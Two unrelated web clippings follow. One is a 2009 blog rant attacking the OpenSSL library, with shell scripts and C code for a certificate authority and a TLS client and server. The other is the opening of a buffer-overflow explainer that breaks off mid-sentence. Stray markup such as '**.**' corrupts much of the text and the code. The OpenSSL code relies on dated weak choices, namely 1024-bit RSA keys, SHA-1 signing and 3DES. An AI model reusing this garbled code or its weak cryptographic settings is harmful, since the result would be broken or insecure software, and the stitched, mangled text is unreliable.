I know it sounds harsh but lets investigate the facts**.**

First lets get out of the way who is complaining**.** Hi, I am Marco Peereboom
and I write open source code for fun**.** I have been involved in several
projects and the google will tell you which ones**.** I am by no stretch of
the imagination a great programmer but I have been around and I have written a
couple of things**.**

Recently I got involved in writing some code that requires secure
communications and I figured that there was no better way to get cranking than
to use a well known and widely used library**.** Essentially my problem boils
down to this:

****

  * **Write an application that provides CA \(Certificate Authority\) services**.****
  * **Store all certificates in an LDAP tree**.****

**The debate is not about the merit of this idea but this is where the journey
started**.** It sounded simple enough so off to the web looking for
documentation and code snippets, this is obviously going to be a walk in the
park since all these problems have been solved before**.** **

**After messing around with this code for about a month I decided to write
this up for the tubes in the hope that I can save some souls**.** I have come
to the conclusion that OpenSSL is equivalent to monkeys throwing feces at the
wall**.** It is, bar none, the worst library I have ever worked with**.** I
can not believe that the internet is running on such a ridiculous complex and
gratuitously stupid piece of code**.** Since circa 1998 the whole world has
been trusting their secure communications to this impenetrable morass that
calls itself the "OpenSSL" project**.** I bet that the doctors that work on
that shitshow can not prescribe anything useful either**\!** **

****Day 1:** **

**Hmmm can't find a whole bunch of code at all**.** What I do find doesn't
help me with my CA problem at all**.** Everything I do find is basically a
whole bunch of HOWTOS written by people who don't seem to grasp the underlying
problems. They mean well but really hurt the community as a whole by providing
recipes for disaster**.** Alright no problem off to Barnes & Nobles and lets
see what we can find**.** **

**Crap\! Nothing really. I found 2 books and they were mostly about using the
command line tool**.** One had some code examples but nothing advanced at
all**.** Apparently people only seem to care about using openssl "the
tool"**.** **

**I had peeked at the code and it gave me vertigo so I stepped away from
it**.** Anyway at this point I was starting to suspect that this might not be
as easy as I had hopped**.** Time to go home anyway and drink a cold one. **

****Day 2:** **

**Alright screw it**\!** I'll look at the damn code; I mean all books and
examples on the web use it**.** At least it'll point me to what functions I
need to call and I'll be able to find those in the fine documentation**.**
First I obviously need to figure out how to use openssl "the tool"**.** **

** 8 hours later..**.** **

**Phew I got something that works after reading endless HOWTOS, specs and
postings on the tubes**.** The documentation was, how does one say that?
Really really bad\! Let me share with you my labor of love**.** I created 3
scripts to illustrate my problem of having a CA that signs client and server
certificates**.** **

  1. **create\_ca, this script creates the CA**
  2. **create\_server, this script creates a server certificate and keys**
  3. **create\_client, this script creates a client certificate and keys**

****create\_ca** **

[code]

    **#/bin/sh
    mkdir -p ca/private
    chmod 700 ca/private
    openssl req -x509 -days 3650 -newkey rsa:1024 -keyout ca/private/ca.key -out ca/ca.crt**
[/code]

****create\_server** **

[code]

    **#/bin/sh
    mkdir -p server/private
    chmod 700 server/private
    openssl genrsa -out server/private/server.key 1024
    openssl req -new -key server/private/server.key -out server/server.csr**
[/code]

****create\_client** **

[code]

    **#/bin/sh
    mkdir -p client/private
    chmod 700 client/private
    openssl genrsa -out client/private/client.key 1024
    openssl req -new -key client/private/client.key -out client/client.csr**
[/code]

**enough for a day**.** Time to go home. **

****Day 3:** Alright, that openssl "the tool" stuff out of the way lets dig
into that code**.** Hmmm, where is main? How does it call the individual
modules**?** Random camel capitalization mixed with underscores wow**\!** Ugh
MAIN macro, great**.** **\*WASH\_Eyes\_outWith\_soap\*** **

**Ok we are going to need some serious tags to be able to navigate this
morass**.** After a couple of hours of digging through the code I kind of get
the hang of it \(thanks vim**\!**\). Now it is time to start walking this code
backwards and see if I can generate a CA without having to use openssl "the
tool"**.** A few more hours go by and the incomplete man pages, no man pages,
poorly written man pages really start to wear on me**.** No help from google,
bing, yahoo etc. The documentation is simply non-existent and what does exist
is outdated and does not match reality**.** Screw it, I am going home\! **

****Day 4:** **

**I start writing some code based on what I find in openssl "the tool"**.**
Progress is painfully slow due to the embarrassingly bad style, indentation
and don't get me started about impenetrable \#ifdef goo**.** Speaking of
\#ifdefs I saw several dangling ones that would eat an instruction; e.g. **

[code]

    **#ifdef (OMG)
    	if (moo) {
    		..**.**
    	} else
    #endif /* OMG */
    		yeah();
    **
[/code]

**This is actually the pretty version**.** The one I ran into was over a
couple hundred lines of code with indentation that makes a grown man cry**.**
Lets also get one other thing out of the way. If you think **

[code]

    **if (moo)
    	    {
    	    dome_something_dumb();
    	    }
    	    else
    	    {
    	    or_not();
    	    }**
[/code]

**or**

[code]

    **if (			moo)
    				{
    				blah();
    				}**
[/code]

****

[code]

    **if (bad)
    		goto err;
    	..**.**
    	if (0) {
    err:
    		do_something_horrible();
    	}
    **
[/code]

**is readable I suggest you visit an optometrist**.** Possibly even a
proctologist. Lets look at a few real examples **

[code]

    **if ((OBJ_obj2nid(obj) == NID_pkcs9_emailAddress) &&
    			(str->type **!** = V_ASN1_IA5STRING))
    			{
    			BIO_printf(bio_err,"\nemailAddress type needs to be of type IA5STRING\n");
    			goto err;
    			}
    		if ((str->type **!** = V_ASN1_BMPSTRING) && (str->type **!** = V_ASN1_UTF8STRING))
    			{
    			j=ASN1_PRINTABLE_type(str->data,str->length);
    			if (	((j == V_ASN1_T61STRING) &&
    				 (str->type **!** = V_ASN1_T61STRING)) ||
    				((j == V_ASN1_IA5STRING) &&
    				 (str->type == V_ASN1_PRINTABLESTRING)))
    				{
    				BIO_printf(bio_err,"\nThe string contains characters that are illegal for the ASN**.** 1 type\n");
    				goto err;
    				}
    			}
    **
[/code]

**Here is an example of a function stack; vim to the rescue**\!** **

[code]

    **if (**!** SSL_CTX_use_certificate_file(ctx, "server/server.crt", SSL_FILETYPE_PEM))
    ctrl ]
    ..**.**
    	else if (type == SSL_FILETYPE_PEM)
    		{
    		j=ERR_R_PEM_LIB;
    		x=PEM_read_bio_X509(in,NULL,ctx->default_passwd_callback,ctx->default_passwd_callback_userdata);
    ctrl ]
    ..**.**
    #define	PEM_read_bio_X509(bp,x,cb,u) (X509 *)PEM_ASN1_read_bio( \
    	(char *(*)())d2i_X509,PEM_STRING_X509,bp,(char **)x,cb,u)
    ctrl ]
    ..**.**
    	if (**!** PEM_bytes_read_bio(&data, &len, NULL, name, bp, cb, u))
    		return NULL;
    ctrl ]
    ..**.**
    		if (**!** PEM_read_bio(bp,&nm,&header,&data,&len)) {
    ctrl ]
    ..**.**
    		i=BIO_gets(bp,buf,254);
    ctrl ]
    ..**.**
    	i=b->method->bgets(b,in,inl);
    **
[/code]

**That spanned 5 files, 6 indirections and all that to open and fgets the
contents of a file**.** And we still are doing an indirect call**.** All this
work and jumping around when all I wanted is to have a function that can
translate a PEM \(NOT in a file**\!****\!****\!**\) cert into a X509
structure**.** But between the million or so functions nothing handy like that
exists; or so I suspect but since there are no docs I really have to
guess**.** I can't rob you guys from this gem either: **

[code]

    **#ifndef OPENSSL_NO_STDIO
    /* **!**
     * Load CA certs from a file into a ::STACK**.** Note that it is somewhat misnamed;
     * it doesn't really have anything to do with clients (except that a common use
     * for a stack of CAs is to send it to the client)**.** Actually, it doesn't have
     * much to do with CAs, either, since it will load any old cert**.**
     * \param file the file containing one or more certs**.**
     * \return a ::STACK containing the certs**.**
     */
    STACK_OF(X509_NAME) *SSL_load_client_CA_file(const char *file)
    	{
    	BIO *in;
    	X509 *x=NULL;
    	X509_NAME *xn=NULL;
    	STACK_OF(X509_NAME) *ret = NULL,*sk;
    
    	sk=sk_X509_NAME_new(xname_cmp);
    
    	in=BIO_new(BIO_s_file_internal());
    
    	if ((sk == NULL) || (in == NULL))
    		{
    		SSLerr(SSL_F_SSL_LOAD_CLIENT_CA_FILE,ERR_R_MALLOC_FAILURE);
    		goto err;
    		}
    	
    	if (**!** BIO_read_filename(in,file))
    		goto err;
    
    	for (;;)
    		{
    		if (PEM_read_bio_X509(in,&x,NULL,NULL) == NULL)
    			break;
    		if (ret == NULL)
    			{
    			ret = sk_X509_NAME_new_null();
    			if (ret == NULL)
    				{
    				SSLerr(SSL_F_SSL_LOAD_CLIENT_CA_FILE,ERR_R_MALLOC_FAILURE);
    				goto err;
    				}
    			}
    		if ((xn=X509_get_subject_name(x)) == NULL) goto err;
    		/* check for duplicates */
    		xn=X509_NAME_dup(xn);
    		if (xn == NULL) goto err;
    		if (sk_X509_NAME_find(sk,xn) >= 0)
    			X509_NAME_free(xn);
    		else
    			{
    			sk_X509_NAME_push(sk,xn);
    			sk_X509_NAME_push(ret,xn);
    			}
    		}
    
    	if (0)
    		{
    err:
    		if (ret **!** = NULL) sk_X509_NAME_pop_free(ret,X509_NAME_free);
    		ret=NULL;
    		}
    	if (sk **!** = NULL) sk_X509_NAME_free(sk);
    	if (in **!** = NULL) BIO_free(in);
    	if (x != NULL) X509_free(x);
    	if (ret **!** = NULL)
    		ERR_clear_error();
    	return(ret);
    	}
    #endif
    **
[/code]

**Wow**\!** that one does it all\! unreadable, lots of indirection and no
clear direction as to what the function is trying to achieve**.** Got to love
the if \(0\) construct\! I mean that obviously wins all the beauty, aesthetics
& NIH awards**.** You have to be overjoyed to know that this type of code runs
a lot of our "secure" internet**.** **

**Silly me to just want to have a function to read certs from LDAP or memory
so that I can write the LDAP code myself**.** Not much code got written, I
need to go home and go into some sort of drunken stooper**.** **

****Day 5:** **

**This is starting to piss me off**\!** Armed with a fresh headache I get with
the coding part**.** After a couple of hours of reading and rereading some
openssl "the tool" code I came up with this: **

[code]

    **int
    create_ca(char *retstr, size_t retlen)
    {
    	int			rv = 1;
    	int			days = 365 * 10;
    	char			*password = NULL;
    	EVP_PKEY		pkey, *tmppkey = NULL;
    	BIGNUM			bn;
    	RSA			*rsa = NULL;
    	X509_REQ		*req = NULL;
    	X509_NAME		*subj;
    	X509			*x509 = NULL;
    	BIO			*out = NULL;
    
    	/* generate private key */
    	if ((rsa = RSA_new()) == NULL)
    		ERROR_OUT(ERR_SSL, done);
    	bzero( &bn, sizeof bn);
    	if (BN_set_word(&bn, 0x10001) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (RSA_generate_key_ex(rsa, 1024, &bn, NULL) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	bzero(&pkey, sizeof pkey);
    	if (EVP_PKEY_assign_RSA(&pkey, rsa) == 0)
    		ERROR_OUT(ERR_SSL, done);
    
    	/* setup req for certificate */
    	if ((req = X509_REQ_new()) == NULL)
    		ERROR_OUT(ERR_SSL, done);
    	if (X509_REQ_set_version(req, 0) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	subj = X509_REQ_get_subject_name(req);
    	if (validate_canew(subj, &password)) {
    		snprintf(last_error, sizeof last_error,
    		    "validate_canew failed");
    		ERROR_OUT(ERR_OWN, done);
    	}
    	/* set public key to req */
    	if (X509_REQ_set_pubkey(req, &pkey) == 0)
    		ERROR_OUT(ERR_SSL, done);
    
    	/* generate 509 cert */
    	if ((x509 = X509_new()) == NULL)
    		ERROR_OUT(ERR_SSL, done);
    	bzero(&bn, sizeof bn);
    	if (BN_pseudo_rand(&bn, 64 /* bits */, 0, 0) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (BN_to_ASN1_INTEGER(&bn, X509_get_serialNumber(x509)) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (X509_set_issuer_name(x509, X509_REQ_get_subject_name(req)) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (X509_gmtime_adj(X509_get_notBefore(x509), 0) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (days == 0) {
    		snprintf(last_error, sizeof last_error,
    		    "not enough days for certificate");
    		ERROR_OUT(ERR_OWN, done);
    	}
    	days *= 60 * 60 * 24;
    	if (X509_gmtime_adj(X509_get_notAfter(x509), days) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (X509_set_subject_name(x509, X509_REQ_get_subject_name(req)) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if ((tmppkey = X509_REQ_get_pubkey(req)) == NULL)
    		ERROR_OUT(ERR_SSL, done);
    	if (X509_set_pubkey(x509, tmppkey) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (X509_sign(x509, &pkey, EVP_sha1()) == 0)
    		ERROR_OUT(ERR_SSL, done);
    
    	/* write private key */
    	out = BIO_new(BIO_s_file());
    	if (BIO_write_filename(out, CA_PKEY) <= 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (chmod(CA_PKEY, S_IRWXU))
    		ERROR_OUT(ERR_LIBC, done);
    	if (PEM_write_bio_PrivateKey(out, &pkey, EVP_des_ede3_cbc(), NULL, 0,
    	    NULL, password) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	BIO_free_all(out);
    
    	/* write cert */
    	out = BIO_new(BIO_s_file());
    	if (BIO_write_filename(out, CA_CERT) <= 0)
    		ERROR_OUT(ERR_SSL, done);
    	if (PEM_write_bio_X509(out, x509) == 0)
    		ERROR_OUT(ERR_SSL, done);
    	BIO_free_all(out);
    
    	rv = 0;
    done:
    	if (tmppkey)
    		EVP_PKEY_free(tmppkey);
    	if (x509)
    		X509_free(x509);
    	if (req)
    		X509_REQ_free(req);
    	if (rsa)
    		RSA_free(rsa);
    
    	return (rv);
    }
    **
[/code]

**As you can see I create an awful mechanism to at least get some sort of
usable fault stack to trace errors**.** Here is the macro in its full horror:
**

[code]

    **/* errors */
    #define ERR_LIBC	(0)
    #define ERR_SSL		(1)
    #define ERR_OWN		(2)
    
    #define ERROR_OUT(e, g)	do { push_error(__FILE__, __FUNCTION__, __LINE__, e); goto g; } while(0)**
[/code]

**Dear $DEITY I beg your forgiveness for I have sinned**.** **

**Let me show the other bits to make this work just for completions sake and
to hope I can help another lost soul that has to put up with this poo**.** The
functions that play with this garbage: **

[code]

    **char *
    geterror(int et)
    {
    	char			*es;
    
    	switch (et) {
    	case ERR_LIBC:
    		strlcpy(last_error, strerror(errno), sizeof last_error);
    		break;
    	case ERR_SSL:
    		es = (char *)ERR_lib_error_string(ERR_get_error());
    		if (es)
    			strlcpy(last_error, es, sizeof last_error);
    		else
    			strlcpy(last_error, "unknown SSL error",
    			    sizeof last_error);
    		break;
    	default:
    		strlcpy(last_error, "unknown error", sizeof last_error);
    		/* FALLTHROUGH */
    	case ERR_OWN:
    		break;
    	}
    
    	return (last_error);
    }
    
    void
    push_error(char *file, char *func, int line, int et)
    {
    	struct error	*ce;
    
    	if ((ce = calloc(1, sizeof *ce)) == NULL)
    		fatal("push_error ce");
    	if ((ce->file = strdup(file)) == NULL)
    		fatal("push_error ce->file");
    	if ((ce->func = strdup(func)) == NULL)
    		fatal("push_error ce->func");
    	if ((ce->errstr = strdup(geterror(et))) == NULL)
    		fatal("push_error ce->errstr");
    	ce->line = line;
    
    	SLIST_INSERT_HEAD(&ces, ce, dlink);
    }
    
    **
[/code]

**Here are the remaining utility functions to make it all "work": **

[code]

    **int
    cert_find_put(char *entry, X509_NAME *subj, ssize_t min, ssize_t max)
    {
    	struct valnode		*v;
    	int			rv = 1;
    
    	v = find_valtree(entry);
    	if (v && v->length > 0) {
    		if (min **!** = -1 && v->length < min) {
    			snprintf(last_error, sizeof last_error,
    			    "%s minimum constraint not met %lu < %lu",
    			    entry, v->length, min);
    			ERROR_OUT(ERR_OWN, done);
    		}
    		if (max **!** = -1 && v->length > max) {
    			snprintf(last_error, sizeof last_error,
    			    "%s maximum constraint not met %lu > %lu",
    			    entry, v->length, max);
    			ERROR_OUT(ERR_OWN, done);
    		}
    		if (X509_NAME_add_entry_by_txt(subj, entry, MBSTRING_ASC,
    		    v->value, -1, -1, 0) == 0)
    			ERROR_OUT(ERR_SSL, done);
    	} else {
    		log_debug("cert_find_put: %s not found", entry);
    		goto done;
    	}
    
    	rv = 0;
    done:
    	return (rv);
    }
    
    int
    validate_canew(X509_NAME *subj, char **pwd)
    {
    	struct valnode		*password, *password2;
    	int			rv = 1;
    
    	password = find_valtree("password");
    	password2 = find_valtree("password2");
    
    	if (password && password2) {
    		if (strcmp(password->value, password2->value) ||
    		    password->length == 0) {
    			snprintf(last_error, sizeof last_error,
    			    "invalid password");
    			ERROR_OUT(ERR_OWN, done);
    		}
    		*pwd = password->value;
    	}
    	if (password == NULL && password2 == NULL) {
    		snprintf(last_error, sizeof last_error,
    		    "password can't be NULL");
    		ERROR_OUT(ERR_OWN, done);
    	}
    
    	if (cert_find_put("C", subj, 2, 2)) {
    		snprintf(last_error, sizeof last_error,
    		    "invalid country");
    		ERROR_OUT(ERR_OWN, done);
    	}
    	cert_find_put("ST", subj, -1, -1);
    	cert_find_put("L", subj, -1, -1);
    	cert_find_put("O", subj, -1, -1);
    	cert_find_put("OU", subj, -1, -1);
    	cert_find_put("CN", subj, -1, -1);
    	cert_find_put("emailAddress", subj, -1, -1);
    
    	rv = 0;
    done:
    	return (rv);
    }
    **
[/code]

**Jubilation**\!** We have a CA OMG\!**\!****\!** oneONE\!\!**\!** 111~ Time
to go home\!  
At home I sit in the shower and cry a little, WAIT, is that blood**?****?**?
**

****Day 6:** **

**I'll get to writing stuff into LDAP later**.** I need to work on something
else for a while. So next up, a client/server app that negotiates SSL/TLS**.**
First I try various examples on the net. **

****Big bag of FAIL** **

**Well, then we'll look at the man pages, I mean they totally come with an
example**\!** **

****Second big bag of FAIL** **

**Farting around with crap I found on the net + example + a lot of time**.**
**

****Third big bag of FAIL** **

**Enough, I am going home**.** **

****Day 7:** **

**Alright, time to go back into my by now favorite piece of code**\!** openssl
"the tool" has s\_server and s\_client and if you push the buttons it sort of
seems to work**.** These are the magic commands I came up with: **

[code]

    **openssl s_server -CAfile ca/ca.crt -cert server/server.crt -key server/private/server.key -Verify 1
    openssl s_client -CAfile ca/ca.crt -cert client/client.crt -key client/private/client.key**
[/code]

**That connects over SSL/TLS according to it and it seemed ok in tcpdump as
well**.** So lets start coding\! I'll present you here with my test code,
again I am hoping to do other folks a favor and hope that a few murders can be
averted**.** First up the server: **

[code]

    **#include <stdio**.** h>
    #include <stdlib.h>
    #include <err**.** h>
    
    #include <sys/types.h>
    #include <sys/socket**.** h>
    
    #include <netinet/in.h>
    
    #include "openssl/bio**.** h"
    #include "openssl/ssl.h"
    #include "openssl/err.h"
    
    void
    fatalx(char *s)
    {
    	ERR_print_errors_fp(stderr);
    	errx(1, s);
    }
    
    int
    main(int argc, char *argv[])
    {
    	SSL_CTX			*ctx;
    	BIO			*sbio;
    	SSL			*ssl;
    	int			sock, s, r, val = -1;
    	struct sockaddr_in	sin;
    
    	SSL_load_error_strings();
    	OpenSSL_add_ssl_algorithms();
    
    	ctx = SSL_CTX_new(SSLv23_server_method());
    	if (ctx == NULL)
    		fatalx("ctx");
    
    	if (**!** SSL_CTX_load_verify_locations(ctx, "ca/ca.crt", NULL))
    		fatalx("verify");
    	SSL_CTX_set_client_CA_list(ctx, SSL_load_client_CA_file("ca/ca.crt"));
    
    	if (**!** SSL_CTX_use_certificate_file(ctx, "server/server.crt", SSL_FILETYPE_PEM))
    		fatalx("cert");
    	if (**!** SSL_CTX_use_PrivateKey_file(ctx, "server/private/server.key", SSL_FILETYPE_PEM))
    		fatalx("key");
    	if (**!** SSL_CTX_check_private_key(ctx))
    		fatalx("cert/key");
    
    	SSL_CTX_set_mode(ctx, SSL_MODE_AUTO_RETRY);
    	SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, NULL);
    	SSL_CTX_set_verify_depth(ctx, 1);
    
    	/* setup socket */
    	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    		err(1, "socket");
    
    	bzero(&sin, sizeof sin);
    	sin.sin_addr**.** s_addr = INADDR_ANY;
    	sin.sin_family = AF_INET;
    	sin.sin_port = htons(4433);
    	setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &val, sizeof val);
    
    	if (bind(sock, (struct sockaddr *)&sin, sizeof sin) == -1)
    		err(1, "bind");
    	listen(sock, 0);
    
    	for (;;) {
    		if ((s = accept(sock, 0, 0)) == -1)
    			err(1, "accept");
    
    		sbio = BIO_new_socket(s, BIO_NOCLOSE);
    		ssl = SSL_new(ctx);
    		SSL_set_bio(ssl, sbio, sbio);
    
    		if ((r = SSL_accept(ssl)) == -1)
    			fatalx("SSL_accept");
    
    		printf("handle it**!** \n");
    	}
    
    	return (0);
    }
    **
[/code]

**and the client:**

[code]

    **#include <stdio**.** h>
    #include <stdlib.h>
    #include <err.h>
    
    #include <sys/types**.** h>
    #include <sys/socket.h>
    
    #include <netinet/in**.** h>
    #include <netdb.h>
    
    #include "openssl/bio**.** h"
    #include "openssl/ssl.h"
    #include "openssl/err.h"
    
    void
    fatalx(char *s)
    {
    	ERR_print_errors_fp(stderr);
    	errx(1, s);
    }
    
    int
    main(int argc, char *argv[])
    {
    	SSL_CTX			*ctx;
    	BIO			*sbio;
    	SSL			*ssl;
    	struct sockaddr_in	addr;
    	struct hostent		*hp;
    	int			sock;
    
    
    	SSL_load_error_strings();
    	OpenSSL_add_ssl_algorithms();
    
    	ctx = SSL_CTX_new(SSLv23_client_method());
    	if (ctx == NULL)
    		fatalx("ctx");
    
    	if (**!** SSL_CTX_load_verify_locations(ctx, "ca/ca.crt", NULL))
    		fatalx("verify");
    
    	if (**!** SSL_CTX_use_certificate_file(ctx, "client/client.crt", SSL_FILETYPE_PEM))
    		fatalx("cert");
    	if (**!** SSL_CTX_use_PrivateKey_file(ctx, "client/private/client.key", SSL_FILETYPE_PEM))
    		fatalx("key");
    	if (**!** SSL_CTX_check_private_key(ctx))
    		fatalx("cert/key");
    
    	SSL_CTX_set_mode(ctx, SSL_MODE_AUTO_RETRY);
    	SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);
    	SSL_CTX_set_verify_depth(ctx, 1);
    
    	/* setup connection */
    	if ((hp = gethostbyname("localhost")) == NULL)
    		err(1, "gethostbyname");
    
    	bzero(&addr, sizeof addr);
    	addr.sin_addr = *(struct in_addr *)hp->h_addr_list[0];
    	addr.sin_family = AF_INET;
    	addr.sin_port = htons(4433);
    
    	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    		err(1, "socket");
    	if (connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1)
    		err(1, "connect");
    
    	/* go do ssl magic */
    	ssl = SSL_new(ctx);
    	sbio = BIO_new_socket(sock, BIO_NOCLOSE);
    	SSL_set_bio(ssl, sbio, sbio);
    
    	if (SSL_connect(ssl) <= 0)
    		fatalx("SSL_connect");
    
    	if (SSL_get_verify_result(ssl) **!** = X509_V_OK)
    		fatalx("cert");
    
    	return (0);
    }
    **
[/code]

**Not my best work but it works and someone might be helped by this**.** Going
home\! **

****Day 8:** **

**Looking some more on how to make those damned files work within LDAP**.**
Between meetings and other lame things I gave up and wrote this rant
instead**.** I'll continue to update this as I make more progress**.** I shall
overcome the excrement flinging ape that is OpenSSL**.** **

** The opinions of the author expressed herein do not necessarily state or
reflect those of anyone else**.**  
Opinion and code © 2009 Marco Peereboom**.**  
Code snippets from the OpenSSL project are © 1998-2009 The OpenSSL
Project**.** **

**$assl: openssl.html,v 1**.** 3 2009/08/24 18:45:53 marco Exp $  **

********

# How security flaws work: The buffer overflow

**Created:**| _8/26/2015 1:02:55 PM_  
---|---  
**Updated:**| _8/26/2015 1:05:48 PM_  
**Author:**| __  
**Tags:**| __  
  
  

  
  

# Risk Assessment / Security & Hacktivism

# How security flaws work: The buffer overflow

## Starting with the 1988 Morris Worm, this flaw has bitten everyone from
Linux to Windows.

by Peter Bright \- Aug 26, 2015 1:00am UTC

  

The buffer overflow has long been a feature of the computer security
landscape. In fact the first self-propagating Internet worm—1988's Morris
Worm—used a buffer overflow in the Unix `finger` daemon to spread from machine
to machine. Twenty-seven years later, buffer overflows remain a source of
problems. Windows infamously revamped its security focus after two buffer
overflow-driven exploits in the early 2000s. And just this May, a buffer
overflow found in a Linux driver left \(potentially\) millions of home and
small office routers vulnerable to attack.

At its core, the buffer overflow is an astonishingly simple bug that results
from a common practice. Computer programs frequently operate on chunks of data
that are read from a file, from the network, or even from the keyboard.
Programs allocate finite-sized blocks of memory—buffers—to store this data as
they work on it. A buffer overflow happens when more data is written to or
read from a buffer than the buffer can hold.

On the face of it, this sounds like a pretty foolish error. After all, the
program knows how big the buffer is, so it should be simple to make sure that
the program never tries to cram more into the buffer than it knows will fit.
You'd be right to think that. Yet buffer overflows continue to happen, and the
results are frequently a security catastrophe.

Advertisement

To understand why buffer overflows happen—and why their impact is so grave—we
need to understand a little about how programs use memory and a little more
about how programmers write their code. \(Note that we'll look primarily at
the stack buffer overflow. It's not the only kind of overflow issue, but it's
the classic, best-known kind.\)

## Stack it up

Buffer overflows create problems only for native code—that is, programs
which use the processor's instruction set directly rather than through some
intermediate form such as in Java or Python. The overflows are tied to the way
the processor and native code programs manipulate memory. Different operating
systems have their own quirks, but every platform in common use today follows
essentially the same pattern. To understand how these attacks work and some of
the things people do to try to stop them, we first have to understand a little
about how that memory is used.

The most important central concept is the memory address. Every individual
byte of memory has a corresponding numeric address. When the processor loads
and stores data from main memory \(RAM\), it uses the memory address of the
location it wants to read and write from. System memory isn't just used for
data; it's also used for the executable code that makes up our software. This
means that every function of a running program also has an address.

In the early days of computing, processors and operating systems used physical
memory addresses: each memory address corresponded directly to a particular
piece of RAM. While some pieces of modern operating systems still have to use
these physical memory addresses, all of today's operating systems use a scheme
called virtual memory.

With virtual memory, the direct correspondence between a memory address and a
physical location in RAM is broken. Instead, software and the processor
operates using virtual memory addresses. The operating system and processor
together maintain a mapping between virtual memory addresses and physical
memory addresses.

This virtualization enables a range of important features. The first and
foremost is _p rotected memory_. Every individual process gets its _o wn_ set
of addresses. For a 32-bit process, those addresses start at zero \(for the
first byte\) and run up to 4,294,967,295 \(or in hexadecimal, `0xffff'ffff`;
232 - 1\). For a 64-bit process, they run all the way up to
18,446,744,073,709,551,615 \(`0xffff'ffff'ffff'ffff`, 264 - 1\). So, every
process has its own address `0`, its own address `1`, its own address `2`, and
so on and so forth.

\(For the remainder of this article, I'm going to stick to talking about
32-bit systems, except where otherwise noted. 32- and 64-bit systems work in
essentially the same ways, so everything translates well enough; it's just a
little clearer to stick to one bitness.\)

Because each process gets its own set of addresses, these scheme in a very
straightforward way prevents one process from damaging the memory of any
other: all the addresses that a process can use reference memory belonging
only to that process. It's also much easier for the processes to deal with;
physical memory addresses, while they broadly work in the same way \(they're
just numbers that start at zero\), they tend to have wrinkles that make them
annoying to use. For example, they're usually not contiguous; address
`0x1ff8'0000` is used for the processor's System Management Mode memory; a
small chunk of physical memory that's off limits to normal software. Memory
from PCIe cards also generally occupies some of this address space. Virtual
addresses have none of these inconveniences.

So what does a process have in its address space? Broadly speaking, there are
four common things, of which three interest us. The uninteresting one is, in
most operating systems, "the operating system kernel." For performance
reasons, the address space is normally split into two halves with the bottom
half being used by the program and the top half being the kernel's address
space. The kernel half of the memory is inaccessible to the program's half,
but the kernel itself can read the program's memory. This is one of the ways
that data is passed to kernel functions.

The first thing that we need to care about are the executables and libraries
that constitute the program. The main executable and all its libraries are all
loaded into the process's address space, and all of their constituent
functions accordingly have memory addresses.

The second is the memory that the program uses for storing the data it's
working on, generally called the heap. This might be used, for example, to
store the document currently being edited, the webpage \(and all its
JavaScript objects, CSS, and so on\) being viewed, or the map for the game
being played.

The third and most important is the call stack, generally just called the
stack. This is the most complex aspect. Every thread in a process has its own
stack. It's a chunk of memory that's used to keep track of both the function
that a thread is currently running, as well as all the predecessor
functions—the ones that were called to get to the current function. For
example, if function `a` calls function `b`, and function `b` calls function
`c` then the stack will contain information about `a`, `b`, and `c`, in that
order.

<img src='img/basic-stack-300x510.png' width='300' height='510' />

Enlarge / Here we see the basic layout of our stack with a 64 character buffer
called `name`, then the frame pointer, and then the return address. `esp` has
the address of the top of the stack, `ebp` has the address of the frame
pointer.

The call stack is a specialized version of the more general "stack" data
structure. Stacks are variable-sized structures for storing objects. New
objects can be added \("pushed"\) to one end of the stack \(conventionally
known as the "top" of the stack\), and objects can be removed \("popped"\)
from the stack. Only the top of the stack can be modified with a push or a
pop, so the stack forces a kind of sequential ordering: the most recently
pushed item is the one that gets popped first. The first item that gets pushed
on the stack is the last one that gets popped.

The most important thing that the call stack does is to store _r eturn
addresses_. Most of the time, when a program calls a function, that function
does whatever it is supposed to do \(including calling other functions\), and
then returns to the function that called it. To go back to the calling
function, there must be a record of what that calling function was: execution
should resume from the instruction _a fter_ the function call instruction. The
address of this instruction is called the return address. The stack is used to
maintain these return addresses: whenever a function is called the return
address is pushed onto the stack. Whenever a function returns, the return
address is popped off the stack, and the processor begins executing the
instruction at that address.

This stack functionality is so fundamentally important that most, if not all,
processors include built-in support for these concepts. Consider x86
processors. Among the registers \(small storage locations in the processor
that can be directly accessed by processor instructions\) that x86 defines,
the two that are most important are `eip`, standing for "instruction pointer,"
and `esp`, standing for stack pointer.

`esp` always contains the address of the top of the stack. Each time something
is pushed onto the stack, the value in `esp` is decreased. Each time something
is popped from the stack, the value of `esp` is increased. This means that the
stack grows "down;" as more things are pushed onto the stack, the address
stored in `esp` gets lower and lower. In spite of this, the memory location
referenced by `esp` is still called the "top" of the stack.

`eip` gives the address of the currently executing instruction. The processor
maintains `eip` itself. It reads the instruction stream from memory and
increments `eip` accordingly so that it always has the instruction's address.
x86 has an instruction for function calls, named `call`, and another one for
returning from a function, named `ret`.

`call` takes one operand; the address of the function to call \(though there
are several different ways that this can be provided\). When a `call` is
executed, the stack pointer `esp` is decremented by 4 bytes \(32-bits\), and
the address of the instruction following the `call`, the return address, is
written to the memory location now referenced by `esp`—in other words, the
return address is pushed onto the stack. `eip` is then set to the address
specified as operand to `call`, and execution continues from that address.

`ret` does the opposite. The simple `ret` doesn't take any operands. The
processor first reads the value from the memory address contained in `esp`,
then increments `esp` by 4 bytes—it pops the return address from the stack.
`eip` is set to this value, and execution continues from that address.

See `call` and `ret` in action.

If the call stack _o nly_ contained a sequence of return addresses, there
wouldn't be much scope for problems. The real problem comes with everything
else that goes on the stack too. The stack happens to be a quick and efficient
place for storing data. Storing data on the heap is relatively complex; the
